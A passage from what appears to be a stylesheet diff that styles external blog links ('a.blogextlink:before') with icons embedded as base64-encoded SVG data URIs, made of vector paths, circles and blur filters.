3IDAuMDM0NC0wLjA0NDV6Ii8+CgkJPC9nPgoJCTxjaXJjbGUgY3g9Ii01MC4yOSIgY3k9IjgzLjAxOCIgcj0iLjA0MDYzNiIgZmlsbD0iIzk5OSIvPgoJCTxjaXJjbGUgY3g9Ii01MC4yNTciIGN5PSI4My4wMzciIHI9Ii4wMzI1MDgiLz4KCQk8cGF0aCBkPSJtLTU5LjE2NiA4NS42NzRjLTEuNjIzNyAyLjA1NTQtMy4wNjAzIDQuNDkwNi0yLjg4MjQgNy4yMDYxLTAuMzA2OTEgMi4wOTg0IDAuMTQ4MjQgNC40MzY3IDEuOTM0MyA1Ljc2OSAxLjM5NjggMS4zMTc5IDQuMjQyOSAwLjkxODcyIDUuMzc3MiAxLjIwNTItMy43NzE0IDEuNzc1LTguNDI5MS0wLjQzNzE4LTEwLjI3LTMuOTYxLTEuNDU4Ny0yLjg1NzYtMC4zMTMxNC02LjU5MDYgMi4wNTM4LTguNjA3NiAxLjA5NDItMC44NDUxOSAyLjQwMzctMS40NTcgMy43ODY2LTEuNjExNnoiIGZpbGw9IiMwMGYiIGZpbGwtb3BhY2l0eT0iLjgyMjMxIiBmaWx0ZXI9InVybCgjYSkiLz4KCQk8cGF0aCBkPSJtLTUwLjYxOSA4Ny45NDJjLTAuMDE2NC0wLjA1MzYgMC4wMzEzLTAuMTQ3NjEgMC4xMzQxMy0wLjE4OTM5IDAuMTEzMzQtMC4wMTExIDAuMTI1MzQtMC4wMTY0IDAuMjAwMDcgMC4wMTc1IDAuMDczNSAwLjAxNzIgMC4xMTIyMSAwLjEyNjkxIDAuMTM1NjEgMC4xODM3MyAwLjAxNTggMC4xMjI2NC0wLjA2ODkgMC4xMjU0NS0wLjExNTUyIDAuMTgyMjEtMC4wNjQ1IDAuMDI1NS0wLjE1Njk3IDAuMDg5Ny0wLjIyMDg5IDAuMDM2NS0wLjA2NC0wLjA2NDgtMC4wNzUxLTAuMDcxMi0wLjExODk4LTAuMTQ5MDJ6IiBmaWxsPSIjZjJmMmYyIi8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0tNDkuOTcxIDg4LjI1MmgtMC4xNDRsLTAuMTcwMTggMC4wOTE2IDAuMzQ2OTEgMC4wMTMgMC4xMTEyNyAwLjE0NCAwLjQ3MTI3LTAuMDcyIDAuMzUzNDUtMC4xMDQ3Mi0wLjAyNjItMC4zNDAzNy0wLjE1MDU1LTAuMTgzMjYtMC4yNjE4MSAwLjI4MTQ0eiIgZmlsbD0iI2NjYyIvPgoJCQk8cGF0aCBkPSJtLTUwLjU3NyA4Ny45MzMgMC4wNTI2LTAuMTA5NjIgMC4xMTY5My0wLjAzOTQgMC4wNzg5IDAuMDExNiAwLjEwMjMyIDAuMDU0MS0wLjA3NzUtMC4wMTYxLTAuMTE0MDEgMC4wMjA0LTAuMDc3NSAwLjAzOTV6IiBmaWxsPSIjZmZmIi8+CgkJCTxwYXRoIGQ9Im0tNDguNjAyIDg2LjMzNSAwLjA4NDggMC4xNjY2NCAwLjAyOTIgMC4xODcwOC0wLjA5MDYgMC4wNjQzLTAuMjg2NDggMC4wMzIyLTAuMzYyNDkgMC4zMTU3LTAuMDcwMiAwLjE4NDE4IDAuMDI2MyAwLjI4MDYxLTAuMTY2NjIgMC4yMTA0OC0wLjIwNDYzIDAuMTE0MDEtMC4wODQ4LTAuMjA0NjMtMC4wMjM0IDAuNDIwOTUgMC4yNjMwOS0wLjEwODE2IDAuMjIyMTctMC4xNjY2MSAwLjE3NTM5LTAuMTU3ODctMC4wNjcyLTAuNTM0OTQgMC4yOTUyNS0wLjI4MDY0IDAuNDY0OC0wLjA2MTQtMC4wMzIyLTAuMzE1NzJ6IiBmaWxsPSIjODA4MDgwIi8+CgkJCTxwYXRoIGQ9Im0tNDkuNzg2IDg4LjM5NWMtMC4wMTQ1LTAuMDE4NS0wLjEyNjA5LTAuMzAzODUtMC4xMjYwOS0wLjMwMzg1bDAuMjg1MjUtMC4wNzY1IDAuMTk0MzEtMC4xMjQwMSAwLjEzMDIyLTAuMTA3NSAwLjE0Njc2IDAuMTQwNTggMC4wNjgyIDAuMzM4OTgtMC4zMjAzOSAwLjA5NTF6IiBmaWxsPSIjZTZlNmU2Ii8+CgkJCTxwYXRoIGQ9Im0tNDguODU2IDg1Ljk0N2M0ZS0zIDAuMDI0OSAwLjA4MjcgMC4xNjEyMyAwLjA4MjcgMC4xNjEyM2wtMC4xNTI5NiAwLjE3Nzc4LTAuMzM5IDAuMTI4MTYtMC4wOTEgNGUtMyAwLjA0MTMgMC4xMDMzNS0wLjExNTc2IDAuMjIzMjYtMC4yMTQ5NyAwLjIzNTYzaC0wLjA2MmwwLjExOTg5IDAuMTE1NzYgMC4wMjg5IDAuMjc2OTktMC4xMzIyOSAwLjExOTg4LTAuMTMyMjktMC4xODYwMiA4ZS0zIDAuNDUwNjEgMC4wNzg2LTAuMjA2NzJoMC4xMDMzNWwwLjEzMjI5LTAuMDk5MiAwLjEyODE2IDAuMDk1MS0wLjE0MDU2LTAuMjE5MS0wLjAzNzItMC4zMDE3OCAwLjMxMDA2LTAuNTE2NzkgMC40MzgyMi0wLjIyNzM2IDAuMDk5Mi0wLjI0ODA0LTAuMTMyMjktMC4xMTU3NnoiIGZpbGw9IiM4MDgwODAiLz4KCQk8L2c+CgkJPGcgZmlsbD0iI2NjYyI+CgkJCTxwYXRoIGQ9Im0tNDkuODIgODguMTE0IDAuMTAzNzggMC4yNDcwMiAwLjExNDAxLTAuMDEzMi0wLjEwMjM1LTAuMjYzMDd6Ii8+CgkJCTxwYXRoIGQ9Im0tNDkuNjU1IDg4LjA3MSAwLjEwMzc4IDAuMjQ3MDIgMC4xMTI1NC0wLjAxMzItMC4xMDA4NS0wLjI2MzA3eiIvPgoJCQk8cGF0aCBkPSJtLTQ5LjQ5NCA4OC4wMDQgMC4xMDgxNiAwLjMwMjU2IDAuMTA4MTYtMC4wMzgtMC4xMDk2Mi0wLjM0MzQ2eiIvPgoJCQk8cGF0aCBkPSJtLTQ5LjM1MSA4Ny44OTUgMC4xMTY5NCAwLjM1NTE4IDAuMDk5NC0wLjAzMDctMC4xNDYxMi0wLjM2Njg0eiIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTUwLjQ4NSA4OC4zMDggMC4xNjk1IDAuMDQ1NWgwLjExMTYybDAuMTYxMjMtOGUtMyAwLjA5MS00ZS0zIDAuMTI4MTYgMC4xNDg4MyAwLjQ5MTk2LTAuMDY2MSAwLjMxODMzLTAuMDk5Mi0wLjAxNjUtMC4zNDMxNC0wLjE1ODA1LTAuMTYzMzktMC4wMzg0IDAuMDM1Ny0wLjAzNjUtMC4wMzIzIDAuMTY2MzYtMC4xNTU0LTAuMDYxNS0wLjUyNzk2IDAuMjkyMzEtMC4yODMwNyAwLjQ2NDI0LTAuMDYwMS0wLjAzMzEtMC4zMTgzNSAwLjAzNzIgMC4wMjA2IDAuMDI4OSAwLjMzODk4LTAuNTA0MzYgMC4wNjItMC4yNTYzMiAwLjI1MjE4IDAuMDYyIDAuNTE2NzUtMC4wOTUxIDAuMTExNjMgMC4xNjk1IDAuMjA2NzItNGUtMyAwLjM3NjE5LTAuMzcyMDcgMC4xMTE2Mi0wLjQ1ODg4IDAuMDY2Mi0wLjExOTg5LTAuMTU3MDgtMC4yNjA0NSA0ZS0zIC0wLjE1NzEtOGUtM3oiLz4KCQk8cGF0aCBkPSJtLTQ5LjUwOSA4Ny4zMzItMC4wNTM3LTAuMjk3NjYgMC4zMTYzNy0wLjUzMTExIDAuNDM2LTAuMjE2NDEgMC4wOTkyLTAuMjQ4NzktMC4xMzIyNC0wLjEyNDA0IDAuMTYyNjQgMC4xMjMwNy0wLjA5NjUgMC4yNjU1NS0wLjQzNDA4IDAuMjIzMjMtMC4zMDU5MiAwLjUwODV6Ii8+CgkJPHBhdGggZD0ibS01MC4zNTUgODcuOTA4YzAuMDI4NCAwLjAxNzUgMC4wNDk2IDAuMDQzOSAwLjA2ODEgMC4wNzAzIDhlLTMgNGUtMyAwLjAxNjQgNWUtMyAwLjAyNDEgOWUtMyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjNjY2IiBzdHJva2Utd2lkdGg9Ii4wMSIvPgoJCTxnPgoJCQk8Y2lyY2xlIGN4PSItNTAuNDY4IiBjeT0iODcuOTYxIiByPSIuMDE2ODA5IiBmaWxsPSIjZWNlY2VjIiBzdHJva2U9IiM5OTkiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS13aWR0aD0iLjAxIi8+CgkJCTxjaXJjbGUgY3g9Ii01MC40MTIiIGN5PSI4OC4wNDciIHI9Ii4wMTY4MDkiIGZpbGw9IiNlY2VjZWMiIHN0cm9rZT0iIzk5OSIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMDEiLz4KCQkJPHBhdGggZD0ibS01MC4zNTkgODguMTY5bDAuMDY3Mi0wLjA0NTNjMC4wMTEzLTAuMDIwNyAwLjAyNzQtMC4wMzggMC4wNTIxLTAuMDQwNiAwLjAyNjctMC4wMTE1IDAuMDY2MiAwLjAxNzQgMC4wNDc1IDAuMDQ1Ni0wLjAyMzMgMC4wMjEzLTAuMDU0NyAwLjAzMTctMC4wODYzIDAuMDI5aC0wLjA1MTFjLTAuMDEgNGUtMyAtMC4wMjA1IDllLTMgLTAuMDI5NCAwLjAxMTN6IiBmaWxsPSIjOTk5Ii8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNTIuMTg4IDg4Ljg4MmMwLjE5MDU4IDAuODM2OTggMC41OTQyMyAxLjY0NTggMC40ODAwOCAyLjUyMTEgMC4wMjQ1IDEuMDA1LTAuMjIyNTIgMS45OTQ5LTAuNTI4NDYgMi45NDM5LTAuNDU4NDUgMC44OTYwOC0wLjgzMzMxIDEuODQ0Ni0xLjQ5MTIgMi42MjE0LTAuMzM0OTQgMC41NzE5MS0wLjgyMDcgMC45OTcyMy0xLjM3NjMgMS4zNDYxLTAuNzE3NjkgMC40NzkzMy0xLjQwMzUgMS4wNDM4LTIuMjAwMSAxLjM3OTctMC43MjE5IDAuMTg2MTEtMS40NDc0IDAuMzYyNzYtMi4xOTc2IDAuMzY0NTUtMC4zMzg5MSAwLjAyLTAuNzY5OTIgMC4wMzM5LTAuMTIyNzggMC4wOTcgMC44OTE2NyAwLjE1MjA4IDEuNzg1OSAwLjMzNjggMi42OTI3IDAuMjExOTMgMC44ODExMiAwLjAzOTcgMS42NDU2LTAuNDUyOTYgMi40NTYyLTAuNzI1OTIgMC44Mzk2Ny0wLjM2MjM4IDEuNDcyMi0xLjA4NDIgMi4yMDQ2LTEuNjIzOCAwLjU1Nzg0LTAuOTEwNjQgMS4yNzMtMS43NDY2IDEuNTQyLTIuODAxMyAwLjMzNzA1LTAuNzI4MTcgMC40NjAxOS0xLjQ5NzggMC40MTcxMi0yLjI5NTMgMC4wNjI1LTAuODYyMjUtMC4yNzk4OC0xLjY4LTAuNDgyOTktMi41MDQ4LTAuNDIwNC0wLjQ5NzY4LTAuNDY5MDgtMS41NDg0LTEuMjQ0NS0xLjUxNzlsLTAuMTQ4ODMtMC4wMTY1eiIgZmlsbD0iI2FhZiIgZmlsbC1vcGFjaXR5PSIuNzY0NDYiIGZpbHRlcj0idXJsKCNiKSIvPgoJCTxwYXRoIGQ9Im0tNTUuOTE3IDg2LjI5NmMwLjA0MDktMC43MzU5MyAwLjI2OTAyLTEuNDQwOSAwLjYyNjYxLTIuMDgwOCAxLjg2MTQtMi44NzE5IDUuNTI5Ni00LjUxOTQgOC4xOTkyLTUuODMzNS0wLjM0MDI0IDIuNTQ0NS0xLjExMzMgNS4xNjk2LTIuMTg3MSA3LjI2MjMtMC41NzU5NiAxLjAyOTctMS41NTkyIDIuMTM4OC0yLjYwOTUgMi4zOTIyLTAuNTYzMzkgMC4xNDQ0NS0xLjA1NTMgMC4zNjEzOS0xLjEzOTEgMC45OTE4OC0wLjE4OTkxIDAuNDg0MjgtMC4zNzk4MiAwLjk2ODU2LTAuNTY5NzUgMS40NTI4LTEuNDA3NC0wLjI2MTk0LTQuNjcxMi0yLjM4MzYtMy4zMzI1LTMuMTQzNnoiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjM0NHB4Ii8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0tNDkuOTQ0IDg3Ljg3Ni0wLjA1ODUtMC4yNzQ3OS0wLjAxNzUtMC4yMzk3MS0wLjQxNTExLTAuMjIyMTUtMC4xMDUyMy0wLjEwNTI1IDAuMjQ1NTUtMC4xMDUyMyAwLjMwOTg3IDAuMjI4IDAuMjIyMTcgMC4xNDAzMy0wLjAyOTIgMC4zODAwMnoiIGZpbGw9IiNiM2IzYjMiLz4KCQkJPHBhdGggZD0ibS01MC4zMTEgODguMTQ4YzAuMDE5MS0wLjAxMTcgMC4wMzk1LTAuMDI0NyAwLjA0OTEtMC4wNDU5IDAuMDE3Ni0wLjAxNDQgMC4wMzUzLTAuMDEzOSAwLjA1MzEtNmUtMyA5ZS0zIDAuMDE0Ny0wLjAxMzcgMC4wMzE4LTAuMDI2MyAwLjAyMTMtMC4wMjg4IDcuNGUtNCAtMC4wNDY3IDAuMDMxOS0wLjA3NTkgMC4wMzA2eiIgZmlsbD0iI2U2ZTZlNiIvPgoJCQk8cGF0aCBkPSJtLTQ4LjgzMSA4NS45MTQtMC4xNTcxIDAuMDkxLTAuMDUzNyAwLjE0ODgyLTAuMzYzOCAwLjEyODE3LTAuNDQ2NDkgMC42OTAzOC04ZS0zIDAuMjY4NzMgMC4wOTUxIDAuMTQ4ODMtMC4wNTM3LTAuMjM5NzkgOGUtMyAtMC4xMjQwMSAwLjA2Mi0wLjA0OTYtMC4wMTY1LTAuMDYyIDAuMjAyNTctMC4zMjY2IDAuMTk4NDQtMC4yMzE1MSAwLjAxNjUgNGUtMyAwLjA0OTYgMC4wMjA2IDAuMDUzNy0wLjExOTkxIDAuMjE5MTEtMC4wODY4IDAuMDg2OC0wLjExMTYzIDAuMDkwOS0wLjEwMzM0eiIgZmlsbD0iI2NjYyIvPgoJCQk8cGF0aCBkPSJtLTQ5LjQxIDg3LjQ2OC0wLjA0NTUtMC4xODYwMyA0ZS0zIC0wLjExNTc1IDAuMDM3Mi0wLjEwMzM1IDAuMTE5ODktMC4xNjk0OSAwLjExOTg5LTAuMDk1MSAwLjE0NDctMC4wNzAzIDAuMTk4NDMtMC4wNjIgMC4xODE5LTAuMDQ1NS0wLjAxNjUtMC4xMTk4OCAwLjA2Mi0wLjE2OTQ5LTAuMTYxMjMgMC4xNzc3NSAwLjA1MzcgMC4xMTU3NS0wLjMyMjQ2IDAuMDQxNC0wLjI2ODcyIDAuMTY5NDktMC4yMTkxIDAuMjY0NTggOGUtMyAwLjIyNzM4eiIgZmlsbD0iI2NjYyIvPgoJCQk8cGF0aCBkPSJtLTUwLjYyOSA4OC4xMDkgMC4xMjgxNiAwLjEyNDA0IDAuMTQwNTYgMC4wMTY0IDAuMTc3NzYtMC4wMjA2IDAuMTMyMy0wLjA4MjcgMC4wMzMxLTAuMTExNjEgNGUtMyAtMC4xMTE2MiAwLjAzNzIgMC4xMTE2MiAwLjAxMjQgMC4xMjgxNC00ZS0zIDAuMDcwMyAwLjA3MDMgNGUtMyAwLjA2NjEgMC4xMzIyOSA0ZS0zIDAuMTE5ODgtMC4xMzY0My0wLjE0ODgzLTAuMzQ3MjYgMC4wMjA2LTAuMjA2NzEtMC4wNTc5eiIgZmlsbD0iIzk5OSIvPgoJCTwvZz4KCTwvZz4KPC9zdmc+\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:1em 0.7em 1em 0.7em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+a.blogextlink:before {\n+\tdisplay:inline-block;\n+\tcontent:\u0022 \u0022;\n+\tbackground-image: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAyNS4xMzEwOTQgMjYuODM1NTMxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYyIgeD0iLS4wNzI5NjgiIHk9Ii0uMDc1ODg5IiB3aWR0aD0iMS4xNDU5IiBoZWlnaHQ9IjEuMTUxOCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC42NjY3NjYwMSIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMTEwNTciIHk9Ii0uMDkyNjE5IiB3aWR0aD0iMS4yMjExIiBoZWlnaHQ9IjEuMTg1MiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC40NDQ4Mzc4NCIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDk4OTY0IiB5PSItLjA3Mjk2NyIgd2lkdGg9IjEuMTk3OSIgaGVpZ2h0PSIxLjE0NTkiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuNDUwMTUzNTgiLz4KCQk8L2ZpbHRlcj4KCTwvZGVmcz4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDcwLjkzMyAtNzguMTgpIj4KCQk8cGF0aCBkPSJtLTU0LjA0IDgyLjY2NWMtMy4zNDE4LTAuNDQ1MS03LjA0MzMtMC43Nzc5OC05Ljk2NjMgMS4yNTQ2LTMuNTY3NyAxLjc0NzQtNC44Njc0IDUuOTIyNS01LjMyNjUgOS41OTU5IDAuMjMzOSAzLjI5NiAxLjc4MzMgNi44MDI0IDUuMDc2NSA4LjAzNTkgMy42NjY1IDEuMjgyMyA3LjgzNDEgMi42Njc4IDExLjY1NSAxLjI5NzMgMi4xOTk5LTEuMjQxMyA0LjU2NC0zLjAxNTMgNC42MzI5LTUuNzg0NyAwLjg1NjE1LTMuMTI4OCAwLjY2OTk1LTYuNDU5LTAuMDgxOS05LjU4MTUtMC43MTA3OS0yLjkyMTEtMy44NzU2LTMuMzA4MS01Ljk4OTYtNC44MTc0eiIgZmlsbD0iI2Q1ZTVmZiIgZmlsdGVyPSJ1cmwoI2MpIi8+CgkJPHBhdGggZD0ibS01NS44NzcgODYuMjY4YzAuMDQwOS0wLjczNTkzIDAuMjY5MDItMS40NDA5IDAuNjI2NjEtMi4wODA4IDEuODYxNC0yLjg3MTkgNS41Mjk2LTQuNTE5NCA4LjE5OTItNS44MzM1LTAuMzQwMjQgMi41NDQ1LTEuMTEzMyA1LjE2OTYtMi4xODcxIDcuMjYyMy0wLjU3NTk2IDEuMDI5Ny0xLjU1OTIgMi4xMzg4LTIuNjA5NSAyLjM5MjItMC41NjMzOSAwLjE0NDQ1LTEuMDU1MyAwLjM2MTM5LTEuMTM5MSAwLjk5MTg4LTAuMTg5OTEgMC40ODQyOC0wLjM3OTgyIDAuOTY4NTYtMC41Njk3NSAxLjQ1MjgtMS40MDc0LTAuMjYxOTQtNC42NzEyLTIuMzgzNi0zLjMzMjUtMy4xNDM2eiIgZmlsbD0iI2ZmZiIvPgoJCTxnPgoJCQk8cGF0aCBkPSJtLTUwLjAzOCA4Ny43MTctMC4xNjUzNy0wLjM0NzI3LTAuMjIzMjQtMC4xMjQwMXMwLjEwNzQ5LTAuMTMyMjkgMC4xNDg4My0wLjE0MDU3YzAuMDQxMy04ZS0zIDAuMjY0NTggMC4xNDA1NyAwLjI2NDU4IDAuMTQwNTdsMC4yMTQ5OCAwLjMwNTkxLTAuMDc0NCAwLjA5OTItMC4xMzIyOSAwLjAxNjR6IiBmaWxsPSIjODA4MDgwIi8+CgkJCTxwYXRoIGQ9Im0tNDkuOTcxIDg4LjIzMyAwLjQ2NDcyLTAuMTExMjcgMC40MTIzNy0wLjQzODU1LTAuMDY1NC0wLjU0OTgxIDAuMzAxMDktMC4yNzQ5MSAwLjQ1ODE3LTAuMDU4Mi0wLjAyNjItMC4zMjE0MS0wLjE3NjczLTAuMTUwNTUtMC4xNTcwOSAwLjE3MDE4IDAuMDQ2OSAwLjExOTU0LTAuMzE1MjEgMC4wNTA2LTAuMjUwMTEgMC4xNTY0LTAuMjQwOCAwLjI3NTYgMC4wMTMxIDAuMjU1MjgtMC4wNDU4LTAuMzE0MTggMC4zMjA3My0wLjUzMDE5IDAuNDEyMzUtMC4yMTYgMC4xMzA5LTAuMjU1MjYtMC4xMzA5LTAuMTExMjctMC4xNzY3MiAwLjA3ODYtMC4wNDU5IDAuMTM3NDUtMC4zNSAwLjEzMjk2LTAuMjEyOTEgMC4yOTkwMy0wLjIzNTYyIDAuMzY2NTYtMC4wMjYyIDAuNDI1NDUtMC4wNTg5IDAuMjQyMTgtMC4yMjgwNSAwLjE4OTQ2IDAuMDUxMyAwLjExMTYyIDAuMDUyMyAwLjI1NTI4eiIgZmlsbD0iI2IzYjNiMyIvPgoJCQk8cGF0aCBkPSJtLTUwLjY1MyA4Ny44OTJjLTAuMDIyOCAwLjA2OTYgNGUtMyAwLjE3NTY1IDAuMDQ0MSAwLjI1ODMgMC4wMzY4IDAuMDczMiAwLjA3MzYgMC4xNjc4MSAwLjE2ODE2IDAuMTczNTYgMC4wNjk5IDAuMDIwMSAwLjE0MjkyIDAuMDUyIDAuMjE0OSAwLjAyIDAuMDc3MS0wLjAyNzIgMC4xNjA0LTAuMDMzNCAwLjIzNjA5LTAuMDY0IDAuMDUxMi0wLjA1NDYgMC4wMjY2LTAuMTUwNzUgMC4wMTU1LTAuMjIwNDItMC4wMjc3LTAuMDc4NS0wLjAyOTgtMC4xODI5OS0wLjExNzMtMC4yMTkwMS0wLjA4MDYtMC4wNDg0LTAuMTU5MDEtMC4xMzMzNy0wLjI1OTI3LTAuMTI2NTYtMC4wOTI2LTNlLTMgLTAuMjA1MTYgMC4wMTczLTAuMjYxNTggMC4xMDA0LTllLTMgMC4wMTgyLTAuMDI1NCAwLjAyODUtMC4wMzAyIDAuMDQ3OXoiIGZpbGw9IiNjY2MiLz4KCQk8L2c+CgkJPHBhdGggZD0ibS01Ni4zNDcgODUuMjQyYy0zLjA3MzcgMC4wNjY1LTYuNjYxOCAwLjk4NTIzLTguMjExOCAzLjkwNjctMi42MDY4IDQuODA4Ny0wLjI2OTI3IDguODMxMyAzLjI2NjggMTAuNTIxIDEuMTU0MyAwLjgzNTI2IDMuOTIxOCAxLjA3MDMgNS4zNDI4IDAuNjkyNCA0Ljc2NDktMS42ODIxIDcuMTM1LTYuOTE5MyA0LjQ5NTgtMTEuMDgyLTAuMDM2MyAwLjA0NzEtMC40NzE4NS0wLjg1MjEtMC45MDk5OS0wLjM5MTY1LTAuMzEwNDEgMC4zMjYyMS0wLjU4OTE5IDEuOTkzOC0wLjg3NDY2IDIuMjM2LTAuMzM5MjcgMC4yODc4OC0wLjI4MTU1LTAuMjE5OTMtMC41OTQ5IDAuMTk5MzQtMC4yNTc0IDAuMzQ0NC0wLjI4NzA1IDEuNzE0Ni0wLjQ5NDkxIDEuOTUzNS0wLjYwNTQyIDAuNjk1NzMtMC41ODQxNSAwLjIzMzY2LTAuNjE0MjEtMC4yMTQ5OC0wLjI5MDY5IDAuMjg1NzQtMC4zNTM2MiAxLjAzMDktMC43MTkwNCAxLjQ3MzEtMC40NSAwLjU0NDU2LTAuMDY5OS0xLjA2NzQtMC4zNDgyLTAuNzkyOTktMC4zODAzNSAwLjM3NTA5LTEuMjk4OCAxLjg3NzUtMS42MTgyIDIuMTY1My0wLjYwMzE4IDAuNTQzNTIgMC4yMTAwOC0wLjk3NjE3LTAuMzI3NTUtMC40OTI2My0wLjAxMDggMC4wMS0wLjc3OTE4IDAuNzEwNDktMC40ODg0NyAxLjMxODggMC4xODkwOSAwLjM5NTY3IDEuMzY1OSAwLjY5ODI2IDEuNjQ0NyAwLjkzMDczIDAuNDA0NzkgMC4zMzc1OCAxLjAxNDItMC4yOTkwMSAxLjMzODEtMC4xOTA3NyAwLjUwOTQ5IDAuMTcwMjYgMC41ODQ1NS0wLjQwMzM5IDAuODc5MzUtMC40MTczNCAwLjE2NzAyLThlLTMgMC4xNjUzNi0wLjkzNjIzLTAuMjU5NTUtMS4yMTY0LTAuMjk2ODctMC4xOTU3Mi0xLjAxNTggMC4yODQxLTEuMTE0NiAwLjA5MjctMC4xOTE1My0wLjM3MTExIDAuNzc0NDctMC41OTM5NyAwLjk3NDQ2LTAuNTM5MTggMC43MzA1MyAwLjIwMDExIDAuNzU0OSAxLjA1NDIgMS4xNjYzIDEuMzQxMyAwLjQ5NjE0IDAuMzQ2Mi0wLjgyMjQ4IDEuMDA4OC0wLjY5MTY3IDEuMjU4NiAwLjMyNDA4IDAuNjE4ODgtMi4xMzM0IDAuMzkxNTctMi4xNzEyIDAuNjg3ODgtMC4wNTQ1IDAuNDI2OTgtMS44NDk3LTAuNzAxOTctMS45OTM0LTAuNTY5OTItMC4zMzIzNyAwLjMwNTQyLTEuMjA2LTAuOTQxMzktMS4zNzkzLTAuNzY3MjIgMC4wMTg5LTEuMjkyNCAwLjM0MzUyLTEuOTMyNyAwLjQyNS0yLjYyNjIgMC4wMTktMC4xNjE0Mi0wLjcwMzI3IDdlLTMgLTAuNjg2NzgtMC4xNjExMiAwLjAyNDktMC4yNTM3NiAwLjc5Njk0LTAuNjEwOTkgMC41OTUxLTAuODgzNTItMC4wNzUxLTAuMTAxMzUtMC4xNzA0Ni0wLjIwNDcxLTAuMjg5NjUtMC4zMTA2MSAwLjI3OTgyLTAuNDQ0NTMgMC45MzMxLTAuODM3MTggMC44ODE3NS0wLjk3Nzk5LTAuMDQ4Mi0wLjEzMjI2LTAuMjM2NjktMC4xNzY1NS0wLjYzNTYxLTAuNDM4NzQgMC4zNTY2My0wLjM0MTY0IDAuNjQ1MTMtMC41Mzc0NiAxLjE5MjEtMS4yMTI0LTAuMDkxOS0wLjE2NTk4LTAuMTIwMDgtMC4zMDYwNy0wLjE4OTgyLTAuNjczODUgMC4yNDkyOC0wLjcyMTMxIDAuNjU3NjktMS4yNDY5IDAuNjYxNTktMS44Mjk3LTAuMDcxMS0wLjY2MTY0IDAuMjQ1MTgtMC43NDg5MiAwLjQyNjMzLTEuMDI0IDAuMjM3ODktMC4zNjExOCAwLjgxMzU5LTAuNzI1MDMgMS4wNzYzLTEuMDMzIDAuMjQxNTQtMC4yODMyIDAuMDIxMS0wLjYyNzI4IDAuMjQ3MTctMC45MzE2eiIgZmlsbD0iIzJhN2ZmZiIvPgoJCTxwYXRoIGQ9Im0tNTAuMTEgODIuMTU3YzAuNjY4MTQtMC4zMjIwMyAxLjU5MzEtMC4zMjE3NyAxLjM5MDEgMC42ODcxMS02ZS0zIDAuNjU1MTgtMC4zNzM1OCAxLjY1NDMtMS4xNDYxIDEuNjM3NS0xLjQ1MTUtMC4yNjg3NS0xLjQwNTgtMS43MjE5LTAuMjQzOTYtMi4zMjQ2eiIgZmlsbD0iIzk5OSIvPgoJCTxwYXRoIGQ9Im0tNTcuMjY5IDg4LjExMS0wLjU4NTk4IDEuNjQwOCAwLjE3NTc5IDAuNDk4MDktMS4wMjU1IDEuMjAxMyAwLjgyMDM5LTAuMjM0NC0xLjM0NzggMi4yODU0IDAuNzMyNDktMC4zODA5LTAuNjczOSAyLjYwNzcgMi4xMzg5LTIuMjI2OC0wLjIzNDQxIDEuMjU5OSAxLjcyODctMi41MTk4LTAuMDI5MyAxLjQwNjQgMC43MzI1LTEuOTA0NSAwLjI5Mjk4IDAuODIwMzggMC40OTgxLTIuMTM4OS0xLjMxODUtMC42NzM4OS0xLjAyNTUtMC41ODZ6IiBmaWxsPSIjYzg3MTM3Ii8+CgkJPHBhdGggZD0ibS01MC40ODIgODMuNTFjNWUtMyAwLjAxMDcgMC4wNDYgMC40MjcyOSAwLjA0NiAwLjQyNzI5bC0wLjAxODkgMC4yODEyNS0wLjIxNzM5LTAuMTc0MzQtMC4yMDcxOS0wLjI5NjIyLTAuMDUxNC0wLjMyNzIyLTAuMDEzMS0wLjE4Mzk2IDAuMTA3NzItMC4xNzAzMiAwLjIyMTc2LTAuMDM3OSAwLjA0NiAwLjMzNTMzIDAuMDg2NSAwLjE1OTU3eiIgZmlsbD0iIzMzMyIvPgoJCTxwYXRoIGQ9Im0tNTMuOTA5IDgyLjU4IDEuMTYwMiAxLjAxNTIgMS41MTI0IDEuMDE1MiAxLjIwMTYgMC42NjI5NyAwLjc4NzI4IDAuMzEwNzctMC43NjY1NiAxLjI2MzgtMC41Mzg2NyAwLjQxNDM2LTEuODg1My0wLjc4NzI4LTEuMTgwOS0wLjc2NjU3LTEuMDU2Ni0wLjkzMjMtMC40OTcyMy0wLjc2NjU2IDAuNzQ1ODQtMC45MzIzMXoiIGZpbGw9IiNmZjAiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjM0NHB4Ii8+CgkJPGcgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yMzQ0cHgiPgoJCQk8cGF0aCBkPSJtLTUzLjA1OSA4My4zNjgtMS40Mjk1IDEuNTUzOCIvPgoJCQk8c